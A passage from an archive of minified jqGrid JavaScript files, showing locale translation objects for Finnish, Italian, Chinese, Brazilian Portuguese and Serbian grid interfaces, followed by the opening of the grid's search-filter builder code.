määritelty!",novalue:" paluuarvo vaaditaan!",customarray:"Oman funktion tulee palauttaa jono!",customfcheck:"Oma funktio on määriteltävä räätälöityä tarkastusta varten!"}},view:{caption:"Näytä rivi",bClose:"Sulje"},del:{caption:"Poista",msg:"Poista valitut rivit?",bSubmit:"Poista",bCancel:"Peru"},nav:{edittext:"",edittitle:"Muokkaa valittua riviä",addtext:"",addtitle:"Uusi rivi",deltext:"",deltitle:"Poista valittu rivi",searchtext:"",searchtitle:"Etsi tietoja",refreshtext:"",refreshtitle:"Lataa uudelleen",alertcap:"Varoitus",alerttext:"Valitse rivi",viewtext:"",viewtitle:"Näyta valitut rivit",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Valitse sarakkeet",bSubmit:"OK",bCancel:"Peru"},errors:{errcap:"Virhe",nourl:"URL on asettamatta",norecords:"Ei muokattavia tietoja",model:"Pituus colNames <> colModel!"},formatter:{integer:{thousandsSeparator:"",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:"",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:"",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Su","Ma","Ti","Ke","To","Pe","La","Sunnuntai","Maanantai","Tiistai","Keskiviikko","Torstai","Perjantai","Lauantai"],monthNames:["Tam","Hel","Maa","Huh","Tou","Kes","Hei","Elo","Syy","Lok","Mar","Jou","Tammikuu","Helmikuu","Maaliskuu","Huhtikuu","Toukokuu","Kesäkuu","Heinäkuu","Elokuu","Syyskuu","Lokakuu","Marraskuu","Joulukuu"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d.m.Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"d.m.Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-it.js000064400000011546151677266200012265 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.it={defaults:{recordtext:"Mostra {0} - {1} di {2}",emptyrecords:"Non ci sono record da mostrare",loadtext:"Caricamento...",savetext:"Salvataggio...",pgtext:"Pagina {0} di {1}",pgfirst:"Prima Pagina",pglast:"Ultima Pagina",pgnext:"Pagina Successiva",pgprev:"Pagina Precedente",pgrecs:"Records per Pagina",showhide:"Espandi o collassa griglia",pagerCaption:"Griglia::Impostazioni della pagina",pageText:"Pagina:",recordPage:"Records per Pagina",nomorerecs:"Non ci sono altri record...",scrollPullup:"Trascina verso l'alto per altri...",scrollPulldown:"Trascina verso il basso per aggiornare...",scrollRefresh:"Rilascia per aggiornare...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Cerca...",Find:"Trova",Reset:"Reset",odata:[{oper:"eq",text:"uguale"},{oper:"ne",text:"diverso"},{oper:"lt",text:"minore"},{oper:"le",text:"minore o uguale"},{oper:"gt",text:"maggiore"},{oper:"ge",text:"maggiore o uguale"},{oper:"bw",text:"inizia per"},{oper:"bn",text:"non inizia per"},{oper:"in",text:"è in"},{oper:"ni",text:"non è in"},{oper:"ew",text:"finisce per"},{oper:"en",text:"non finisce per"},{oper:"cn",text:"contiene"},{oper:"nc",text:"non contiene"},{oper:"nu",text:"è null"},{oper:"nn",text:"non è null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"tutti"},{op:"OR",text:"ciascuno"}],operandTitle:"Clicca sull'opzione di ricerca scelta.",resetTitle:"Resetta valori di ricerca",addsubgrup:"Aggiungi Sottogruppo",addrule:"Aggiungi Regola",delgroup:"Cancella Sottogruppo",delrule:"Cancella Regola",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Aggiungi Record",editCaption:"Modifica Record",bSubmit:"Invia",bCancel:"Annulla",bClose:"Chiudi",saveData:"I dati sono stati modificati! Salvare le modifiche?",bYes:"Si",bNo:"No",bExit:"Annulla",msg:{required:"Campo obbligatorio",number:"Per favore, inserisci un numero valido",minValue:"il valore deve essere maggiore o uguale a ",maxValue:"il valore deve essere minore o uguale a ",email:"non è una e-mail valida",integer:"Per favore, inserisci un intero valido",date:"Per favore, inserisci una data valida",url:"non è un URL valido. Prefissi richiesti ('http://' o 'https://')",nodefined:" non è definito!",novalue:" valore di ritorno richiesto!",customarray:"La funzione personalizzata deve restituire un array!",customfcheck:"La funzione personalizzata deve essere presente in caso di controlli personalizzati!"}},view:{caption:"Visualizza Record",bClose:"Chiudi"},del:{caption:"Cancella",msg:"Cancellare i record selezionati?",bSubmit:"Cancella",bCancel:"Annulla"},nav:{edittext:"",edittitle:"Modifica riga selezionata",addtext:"",addtitle:"Aggiungi riga",deltext:"",deltitle:"Cancella riga",searchtext:"",searchtitle:"Trova record",refreshtext:"",refreshtitle:"Ricarica tabella",alertcap:"Attenzione",alerttext:"Per favore, seleziona un record",viewtext:"",viewtitle:"Visualizza riga selezionata",savetext:"",savetitle:"Salva riga",canceltext:"",canceltitle:"Annulla modifica riga",selectcaption:"Azioni..."},col:{caption:"Seleziona colonne",bSubmit:"Ok",bCancel:"Annulla"},errors:{errcap:"Errore",nourl:"Nessun url impostato",norecords:"Non ci sono record da elaborare",model:"Lunghezza dei colNames <> colModel!"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"€ ",suffix:"",defaultValue:"0,00"},date:{dayNames:["Dom","Lun","Mar","Mer","Gio","Ven","Sab","Domenica","Lunedì","Martedì","Mercoledì","Giovedì","Venerdì","Sabato"],monthNames:["Gen","Feb","Mar","Apr","Mag","Giu","Lug","Ago","Set","Ott","Nov","Dic","Gennaio","Febbraio","Marzo","Aprile","Maggio","Giugno","Luglio","Agosto","Settembre","Ottobre","Novembre","Dicembre"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"d/m/Y",LongDate:"l d F Y",FullDateTime:"l d F Y G:i:s",MonthDay:"F d",ShortTime:"H:i",LongTime:"H:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Ordinamento Ascendente",sortdesc:"Ordinamento Discendente",columns:"Colonne",filter:"Filtro",grouping:"Raggruppa",ungrouping:"Separa",searchTitle:"Cerca righe con i valori:",freeze:"Blocca",unfreeze:"Sblocca",reorder:"Sposta per riordinare",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-cn.js000064400000010712151677266200012243 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.cn={defaults:{recordtext:"第{0}到第{1}条 共 {2} 条",emptyrecords:"没有记录!",loadtext:"读取中...",savetext:"保存中...",pgtext:"第{0}页 共{1}页",pgfirst:"第一页",pglast:"最后一页",pgnext:"下一页",pgprev:"上一页",pgrecs:"每页记录数",showhide:"切换 展开 折叠 表格",pagerCaption:"表格::页面设置",pageText:"Page:",recordPage:"每页记录数",nomorerecs:"没有更多记录...",scrollPullup:"加载更多...",scrollPulldown:"刷新...",scrollRefresh:"滚动刷新...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"搜索...",Find:"查找",Reset:"重置",odata:[{oper:"eq",text:"等于 "},{oper:"ne",text:"不等于 "},{oper:"lt",text:"小于 "},{oper:"le",text:"小于等于"},{oper:"gt",text:"大于 "},{oper:"ge",text:"大于等于"},{oper:"bw",text:"开头是"},{oper:"bn",text:"开头不是"},{oper:"in",text:"属于 "},{oper:"ni",text:"不属于"},{oper:"ew",text:"结尾是"},{oper:"en",text:"结尾不是"},{oper:"cn",text:"包含 "},{oper:"nc",text:"不包含"},{oper:"nu",text:"为空"},{oper:"nn",text:"不为空"},{oper:"bt",text:"区间"}],groupOps:[{op:"AND",text:"满足所有条件"},{op:"OR",text:"满足任一条件"}],operandTitle:"单击进行搜索。",resetTitle:"重置搜索条件",addsubgrup:"添加条件组",addrule:"添加条件",delgroup:"删除条件组",delrule:"删除条件",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"添加记录",editCaption:"编辑记录",bSubmit:"提交",bCancel:"取消",bClose:"关闭",saveData:"数据已修改,是否保存?",bYes:"是",bNo:"否",bExit:"取消",msg:{required:"此字段必需",number:"请输入有效数字",minValue:"输值必须大于等于 ",maxValue:"输值必须小于等于 ",email:"这不是有效的e-mail地址",integer:"请输入有效整数",date:"请输入有效时间",url:"无效网址。前缀必须为 ('http://' 或 'https://')",nodefined:" 未定义!",novalue:" 需要返回值!",customarray:"自定义函数需要返回数组!",customfcheck:"必须有自定义函数!"}},view:{caption:"查看记录",bClose:"关闭"},del:{caption:"删除",msg:"删除所选记录?",bSubmit:"删除",bCancel:"取消"},nav:{edittext:"",edittitle:"编辑所选记录",addtext:"",addtitle:"添加新记录",deltext:"",deltitle:"删除所选记录",searchtext:"",searchtitle:"查找",refreshtext:"",refreshtitle:"刷新表格",alertcap:"注意",alerttext:"请选择记录",viewtext:"",viewtitle:"查看所选记录",savetext:"",savetitle:"保存记录",canceltext:"",canceltitle:"取消编辑记录",selectcaption:"操作..."},col:{caption:"选择列",bSubmit:"确定",bCancel:"取消"},errors:{errcap:"错误",nourl:"没有设置url",norecords:"没有需要处理的记录",model:"colNames 和 colModel 长度不等!"},formatter:{integer:{thousandsSeparator:",",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["日","一","二","三","四","五","六","星期日","星期一","星期二","星期三","星期四","星期五","星期六"],monthNames:["一","二","三","四","五","六","七","八","九","十","十一","十二","一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],AmPm:["am","pm","上午","下午"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"Y-m-d",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"升序排序",sortdesc:"降序排序",columns:"列",filter:"筛选",grouping:"分类",ungrouping:"取消分类",searchTitle:"查找:",freeze:"冻结",unfreeze:"取消冻结",reorder:"重新排序",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-pt-br.js000064400000011403151677266200012665 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional["pt-br"]={defaults:{recordtext:"Ver {0} - {1} de {2}",emptyrecords:"Nenhum registro para visualizar",loadtext:"Carregando...",pgtext:"Página {0} de {1}",savetext:"Salvando...",pgfirst:"Primeira Página",pglast:"Última Página",pgnext:"Próxima Página",pgprev:"Página Anterior",pgrecs:"Registros por Página",showhide:"Mostrar/Ocultar Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Procurar...",Find:"Procurar",Reset:"Limpar",odata:[{oper:"eq",text:"igual"},{oper:"ne",text:"diferente"},{oper:"lt",text:"menor"},{oper:"le",text:"menor ou igual"},{oper:"gt",text:"maior"},{oper:"ge",text:"maior ou igual"},{oper:"bw",text:"inicia com"},{oper:"bn",text:"não inicia com"},{oper:"in",text:"está em"},{oper:"ni",text:"não está em"},{oper:"ew",text:"termina com"},{oper:"en",text:"não termina com"},{oper:"cn",text:"contém"},{oper:"nc",text:"não contém"},{oper:"nu",text:"nulo"},{oper:"nn",text:"não nulo"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"todos"},{op:"OR",text:"qualquer um"}],operandTitle:"Clique para escolher a operação de pesquisa.",resetTitle:"Limpar valor de pesquisa",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Incluir",editCaption:"Alterar",bSubmit:"Enviar",bCancel:"Cancelar",bClose:"Fechar",saveData:"Os dados foram alterados! Salvar alterações?",bYes:"Sim",bNo:"Não",bExit:"Cancelar",msg:{required:"Campo obrigatório",number:"Por favor, informe um número válido",minValue:"valor deve ser igual ou maior que ",maxValue:"valor deve ser menor ou igual a",email:"este e-mail não é válido",integer:"Por favor, informe um valor inteiro",date:"Por favor, informe uma data válida",url:"não é uma URL válida. Prefixo obrigatório ('http://' or 'https://')",nodefined:" não está definido!",novalue:" um valor de retorno é obrigatório!",customarray:"Função customizada deve retornar um array!",customfcheck:"Função customizada deve estar presente em caso de validação customizada!"}},view:{caption:"Ver Registro",bClose:"Fechar"},del:{caption:"Apagar",msg:"Apagar registro(s) selecionado(s)?",bSubmit:"Apagar",bCancel:"Cancelar"},nav:{edittext:" ",edittitle:"Alterar registro selecionado",addtext:" ",addtitle:"Incluir novo registro",deltext:" ",deltitle:"Apagar registro selecionado",searchtext:" ",searchtitle:"Procurar registros",refreshtext:"",refreshtitle:"Recarregar tabela",alertcap:"Aviso",alerttext:"Por favor, selecione um registro",viewtext:"",viewtitle:"Ver linha selecionada",savetext:"",savetitle:"Salvar linha",canceltext:"",canceltitle:"Cancelar edição da linha",selectcaption:"Actions..."},col:{caption:"Mostrar/Esconder Colunas",bSubmit:"Enviar",bCancel:"Cancelar"},errors:{errcap:"Erro",nourl:"Nenhuma URL definida",norecords:"Sem registros para exibir",model:"Comprimento de colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"R$ ",suffix:"",defaultValue:"0,00"},date:{dayNames:["Dom","Seg","Ter","Qua","Qui","Sex","Sáb","Domingo","Segunda","Terça","Quarta","Quinta","Sexta","Sábado"],monthNames:["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez","Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["º","º","º","º"][Math.min((e-1)%10,3)]:"º"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-sr.js000064400000013001151677266200012261 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.sr={defaults:{recordtext:"Преглед {0} - {1} од {2}",emptyrecords:"Не постоји ниједан запис",loadtext:"Учитавање...",pgtext:"Страна {0} од {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Тражење...",Find:"Тражи",Reset:"Ресетуј",odata:[{oper:"eq",text:"једнако"},{oper:"ne",text:"није једнако"},{oper:"lt",text:"мање"},{oper:"le",text:"мање или једнако"},{oper:"gt",text:"веће"},{oper:"ge",text:"веће или једнако"},{oper:"bw",text:"почиње са"},{oper:"bn",text:"не почиње са"},{oper:"in",text:"је у"},{oper:"ni",text:"није у"},{oper:"ew",text:"завршава са"},{oper:"en",text:"не завршава са"},{oper:"cn",text:"садржи"},{oper:"nc",text:"не садржи"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"И",text:"сви"},{op:"ИЛИ",text:"сваки"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Додај запис",editCaption:"Измени запис",bSubmit:"Пошаљи",bCancel:"Одустани",bClose:"Затвори",saveData:"Податак је измењен! Сачувај измене?",bYes:"Да",bNo:"Не",bExit:"Одустани",msg:{required:"Поље је обавезно",number:"Молим, унесите исправан број",minValue:"вредност мора бити већа од или једнака са ",maxValue:"вредност мора бити мања од или једнака са",email:"није исправна имејл адреса",integer:"Молим, унесите исправну целобројну вредност ",date:"Молим, унесите исправан датум",url:"није исправан УРЛ. Потребан је префикс ('http://' or 'https://')",nodefined:" није дефинисан!",novalue:" захтевана је повратна вредност!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Погледај запис",bClose:"Затвори"},del:{caption:"Избриши",msg:"Избриши изабран(е) запис(е)?",bSubmit:"Ибриши",bCancel:"Одбаци"},nav:{edittext:"",edittitle:"Измени изабрани ред",addtext:"",addtitle:"Додај нови ред",deltext:"",deltitle:"Избриши изабран ред",searchtext:"",searchtitle:"Нађи записе",refreshtext:"",refreshtitle:"Поново учитај податке",alertcap:"Упозорење",alerttext:"Молим, изаберите ред",viewtext:"",viewtitle:"Погледај изабрани ред",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Изабери колоне",bSubmit:"ОК",bCancel:"Одбаци"},errors:{errcap:"Грешка",nourl:"Није постављен URL",norecords:"Нема записа за обраду",model:"Дужина модела colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Нед","Пон","Уто","Сре","Чет","Пет","Суб","Недеља","Понедељак","Уторак","Среда","Четвртак","Петак","Субота"],monthNames:["Јан","Феб","Мар","Апр","Мај","Јун","Јул","Авг","Сеп","Окт","Нов","Дец","Јануар","Фебруар","Март","Април","Мај","Јун","Јул","Август","Септембар","Октобар","Новембар","Децембар"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/grid.filter.js000064400000120337151677266200011121 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","./grid.common"],e):e(jQuery)}(function(T){"use strict";T.fn.jqFilter=function(e){if("string"==typeof e){var t,r=T.fn.jqFilter[e];if(r)return t=T.makeArray(arguments).slice(1),r.apply(this,t);throw"jqFilter - No such method: "+e}var x=T.extend(!0,{filter:null,columns:[],sortStrategy:null,onChange:null,afterRedraw:null,checkValues:null,error:!1,errmsg:"",errorcheck:!0,showQuery:!0,sopt:null,ops:[],operands:null,numopts:["eq","ne","lt","le","gt","ge","nu","nn","in","ni"],stropts:["eq","ne","bw","bn","ew","en","cn","nc","nu","nn","in","ni"],strarr:["text","string","blob"],groupOps:[{op:"AND",text:"AND"},{op:"OR",text:"OR"}],groupButton:!0,ruleButtons:!0,uniqueSearchFields:!1,direction:"ltr",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",autoencode:!1,unaryOperations:[]},T.jgrid.filter,e||{});return this.each(function(){if(!this.filter){this.p=x,null!==this.p.filter&&void 0!==this.p.filter||(this.p.filter={groupOp:this.p.groupOps[0].op,rules:[],groups:[]}),null!=this.p.sortStrategy&&T.jgrid.isFunction(this.p.sortStrategy)&&this.p.columns.sort(this.p.sortStrategy);var e,t,r=this.p.columns.length,b=/msie/i.test(navigator.userAgent)&&!window.opera;if(this.p.initFilter=T.extend(!0,{},this.p.filter),r){for(e=0;e<r;e++)(t=this.p.columns[e]).stype?t.inputtype=t.stype:t.inputtype||(t.inputtype="text"),t.sorttype?t.searchtype=t.sorttype:t.searchtype||(t.searchtype="string"),void 0===t.hidden&&(t.hidden=!1),t.label||(t.label=t.name),t.index&&(t.name=t.index),t.hasOwnProperty("searchoptions")||(t.searchoptions={}),t.hasOwnProperty("searchrules")||(t.searchrules={}),void 0===t.search?t.inlist=!0:t.inlist=t.search;var S=function(){return T("#"+T.jgrid.jqID(x.id))[0]||null},s=S(),F=T.jgrid.styleUI[s.p.styleUI||"jQueryUI"].filter,O=T.jgrid.styleUI[s.p.styleUI||"jQueryUI"].common,o=(this.p.showQuery&&T(this).append("<table class='queryresult "+F.table_widget+"' style='display:block;max-width:440px;border:0px none;' dir='"+this.p.direction+"'><tbody><tr><td class='query'></td></tr></tbody></table>"),function(e,t){var r=[!0,""],s=S();if(T.jgrid.isFunction(t.searchrules))r=t.searchrules.call(s,e,t);else if(T.jgrid&&T.jgrid.checkValues)try{r=T.jgrid.checkValues.call(s,e,-1,t.searchrules,t.label)}catch(e){}r&&r.length&&!1===r[0]&&(x.error=!r[0],x.errmsg=r[1])});this.onchange=function(){return this.p.error=!1,this.p.errmsg="",!!T.jgrid.isFunction(this.p.onChange)&&this.p.onChange.call(this,this.p)},this.reDraw=function(){T(this).find("table.group").first().remove();var e=this.createTableForGroup(x.filter,null);T(this).append(e),T.jgrid.isFunction(this.p.afterRedraw)&&this.p.afterRedraw.call(this,this.p)},this.createTableForGroup=function(s,e){var a=this,t=T("<table class='group "+F.table_widget+" ui-search-table' style='border:0px none;'><tbody></tbody></table>"),r="left",i=("rtl"===this.p.direction&&(r="right",t.attr("dir","rtl")),null===e&&t.append("<tr class='error' style='display:none;'><th colspan='5' class='"+O.error+"' align='"+r+"'></th></tr>"),T("<tr></tr>")),r=(t.append(i),T("<th colspan='5' align='"+r+"'></th>"));if(i.append(r),!0===this.p.ruleButtons){for(var o,l=T("<select size='1' name='select_group_op' class='opsel "+F.srSelect+"'></select>"),n=(r.append(l),""),p=0;p<x.groupOps.length;p++)o=s.groupOp===a.p.groupOps[p].op?" selected='selected'":"",n+="<option value='"+a.p.groupOps[p].op+"'"+o+">"+a.p.groupOps[p].text+"</option>";l.append(n).on("change",function(){s.groupOp=T(l).val(),a.onchange()})}var c,i="<span></span>";if(this.p.groupButton&&(i=T("<input type='button' value='+ {}' title='"+a.p.addsubgrup+"' class='add-group "+O.button+"' name='newsubgroup'/>")).on("click",function(){return void 0===s.groups&&(s.groups=[]),s.groups.push({groupOp:x.groupOps[0].op,rules:[],groups:[]}),a.reDraw(),a.onchange(),!1}),r.append(i),!0===this.p.ruleButtons&&((i=T("<input type='button' value='+' title='"+a.p.addrule+"' class='add-rule ui-add "+O.button+"'/ name='newrule'>")).on("click",function(){for(void 0===s.rules&&(s.rules=[]),p=0;p<a.p.columns.length;p++){var e=void 0===a.p.columns[p].search||a.p.columns[p].search,t=!0===a.p.columns[p].hidden;if(!0===a.p.columns[p].searchoptions.searchhidden&&e||e&&!t){c=a.p.columns[p];break}}var r;return c&&(r=c.searchoptions.sopt||a.p.sopt||(-1!==T.inArray(c.searchtype,a.p.strarr)?a.p.stropts:a.p.numopts),s.rules.push({field:c.name,op:r[0],data:""}),a.reDraw()),!1}),r.append(i)),null!==e&&(i=T("<input type='button' value='-' title='"+a.p.delgroup+"' class='delete-group "+O.button+"'/ name='delgroup'>"),r.append(i),i.on("click",function(){for(p=0;p<e.groups.length;p++)if(e.groups[p]===s){e.groups.splice(p,1);break}return a.reDraw(),a.onchange(),!1})),void 0!==s.groups)for(p=0;p<s.groups.length;p++){var d=T("<tr></tr>"),u=(t.append(d),T("<td class='first'></td>")),u=(d.append(u),T("<td colspan='4'></td>"));u.append(this.createTableForGroup(s.groups[p],s)),d.append(u)}void 0===s.groupOp&&(s.groupOp=a.p.groupOps[0].op);var h=a.p.ruleButtons&&a.p.uniqueSearchFields;if(h)for(f=0;f<a.p.columns.length;f++)a.p.columns[f].inlist&&(a.p.columns[f].search=!0);if(void 0!==s.rules)for(p=0;p<s.rules.length;p++)if(t.append(this.createTableRowForRule(s.rules[p],s)),h)for(var g=s.rules[p].field,f=0;f<a.p.columns.length;f++)if(g===a.p.columns[f].name){a.p.columns[f].search=!1;break}return t},this.createTableRowForRule=function(i,e){for(var o,l,n,t,p,c=this,d=S(),r=T("<tr></tr>"),s="",a=(r.append("<td class='first'></td>"),T("<td class='columns'></td>")),u=(r.append(a),T("<select size='1' name='select_field' class='"+F.srSelect+"'></select>")),h=[],g=(a.append(u),u.on("change",function(){var e;for(c.p.ruleButtons&&c.p.uniqueSearchFields&&(t=parseInt(T(this).data("curr"),10),e=this.selectedIndex,0<=t)&&(c.p.columns[t].search=!0,T(this).data("curr",e),c.p.columns[e].search=!1),i.field=T(u).val(),l=T(this).parents("tr").first(),T(".data",l).empty(),f=0;f<c.p.columns.length;f++)if(c.p.columns[f].name===i.field){n=c.p.columns[f];break}if(n){n.searchoptions.id=T.jgrid.randId(),n.searchoptions.name=i.field,n.searchoptions.oper="filter",!b||"text"!==n.inputtype||n.searchoptions.size||(n.searchoptions.size=10);var t,r=T.jgrid.createEl.call(d,n.inputtype,n.searchoptions,"",!0,c.p.ajaxSelectOptions||{},!0),s=(T(r).addClass("input-elm "+("select"===n.inputtype?F.srSelect:F.srInput)),o=n.searchoptions.sopt||c.p.sopt||(-1!==T.inArray(n.searchtype,c.p.strarr)?c.p.stropts:c.p.numopts),""),a=0;for(h=[],T.each(c.p.ops,function(){h.push(this.oper)}),f=0;f<o.length;f++)-1!==(p=T.inArray(o[f],h))&&(0===a&&(i.op=c.p.ops[p].oper),s+="<option 